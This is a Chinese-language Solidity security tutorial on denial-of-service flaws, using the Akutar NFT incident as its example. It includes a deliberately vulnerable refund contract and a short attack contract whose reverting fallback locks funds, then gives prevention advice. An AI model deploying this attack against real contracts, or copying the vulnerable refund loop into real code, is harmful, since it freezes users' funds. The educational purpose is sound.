title | tags | |||
---|---|---|---|---|
S09. 拒绝服务 |
|
我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity 合约安全”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。
所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity
这一讲,我们将介绍智能合约的拒绝服务(Denial of Service, DoS)漏洞,并介绍预防的方法。NFT 项目 Akutar 曾因为 DoS 漏洞损失 11,539 ETH,当时价值 3400 万美元。
在 Web2 中,拒绝服务攻击(DoS)是指通过向服务器发送大量垃圾信息或干扰信息的方式,导致服务器无法向正常用户提供服务的现象。而在 Web3,它指的是利用漏洞使得智能合约无法正常提供服务。
在 2022 年 4 月,一个很火的 NFT 项目名为 Akutar,他们使用荷兰拍卖进行公开发行,筹集了 11,539.5 ETH,非常成功。之前持有他们社区 Pass 的参与者会得到 0.5 ETH 的退款,但是他们处理退款的时候,发现智能合约不能正常运行,全部资金被永远锁在了合约里。他们的智能合约有拒绝服务漏洞。
下面我们学习一个简化了的 Akutar 合约,名字叫 DoSGame
。这个合约逻辑很简单,游戏开始时,玩家们调用 deposit()
函数往合约里存款,合约会记录下所有玩家地址和相应的存款;当游戏结束时,refund()
函数被调用,将 ETH 依次退款给所有玩家。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
// 有DoS漏洞的游戏,玩家们先存钱,游戏结束后,调用refund退钱。
contract DoSGame {
bool public refundFinished;
mapping(address => uint256) public balanceOf;
address[] public players;
// 所有玩家存ETH到合约里
function deposit() external payable {
require(!refundFinished, "Game Over");
require(msg.value > 0, "Please donate ETH");
// 记录存款
balanceOf[msg.sender] = msg.value;
// 记录玩家地址
players.push(msg.sender);
}
// 游戏结束,退款开始,所有玩家将依次收到退款
function refund() external {
require(!refundFinished, "Game Over");
uint256 pLength = players.length;
// 通过循环给所有玩家退款
for(uint256 i; i < pLength; i++){
address player = players[i];
uint256 refundETH = balanceOf[player];
(bool success, ) = player.call{value: refundETH}("");
require(success, "Refund Fail!");
balanceOf[player] = 0;
}
refundFinished = true;
}
function balance() external view returns(uint256){
return address(this).balance;
}
}
这里的漏洞在于,refund()
函数中利用循环退款的时候,是使用的 call
函数,将激活目标地址的回调函数,如果目标地址为一个恶意合约,在回调函数中加入了恶意逻辑,退款将不能正常进行。
(bool success, ) = player.call{value: refundETH}("");
下面我们写个攻击合约, attack()
函数中将调用 DoSGame
合约的 deposit()
存款并参与游戏;fallback()
回调函数将回退所有向该合约发送ETH
的交易,对DoSGame
合约中的 DoS 漏洞进行了攻击,所有退款将不能正常进行,资金被锁在合约中,就像 Akutar 合约中的一万多枚 ETH 一样。
contract Attack {
// 退款时进行DoS攻击
fallback() external payable{
revert("DoS Attack!");
}
// 参与DoS游戏并存款
function attack(address gameAddr) external payable {
DoSGame dos = DoSGame(gameAddr);
dos.deposit{value: msg.value}();
}
}
1. 部署 DoSGame
合约。
2. 调用 DoSGame
合约的 deposit()
,进行存款并参与游戏。
3. 此时,如果游戏结束调用 refund()
退款的话是可以正常退款的。
3. 重新部署 DoSGame
合约,并部署 Attack
合约。
4. 调用 Attack
合约的 attack()
,进行存款并参与游戏。
5. 调用 DoSGame
合约refund()
,进行退款,发现不能正常运行,攻击成功。
很多逻辑错误都可能导致智能合约拒绝服务,所以开发者在写智能合约时要万分谨慎。以下是一些需要特别注意的地方:
- 外部合约的函数调用(例如
call
)失败时不会使得重要功能卡死,比如将上面漏洞合约中的require(success, "Refund Fail!");
去掉,退款在单个地址失败时仍能继续运行。 - 合约不会出乎意料的自毁。
- 合约不会进入无限循环。
require
和assert
的参数设定正确。- 退款时,让用户从合约自行领取(pull),而非批量发送给用户(push)。
- 确保回调函数不会影响正常合约运行。
- 确保当合约的参与者(例如
owner
)永远缺席时,合约的主要业务仍能顺利运行。
这一讲,我们介绍了智能合约的拒绝服务漏洞,Akutar 项目因为该漏洞损失了一万多枚ETH。很多逻辑错误都能导致DoS,开发者写智能合约时要万分谨慎,比如退款要让用户自行领取,而非合约批量发送给用户。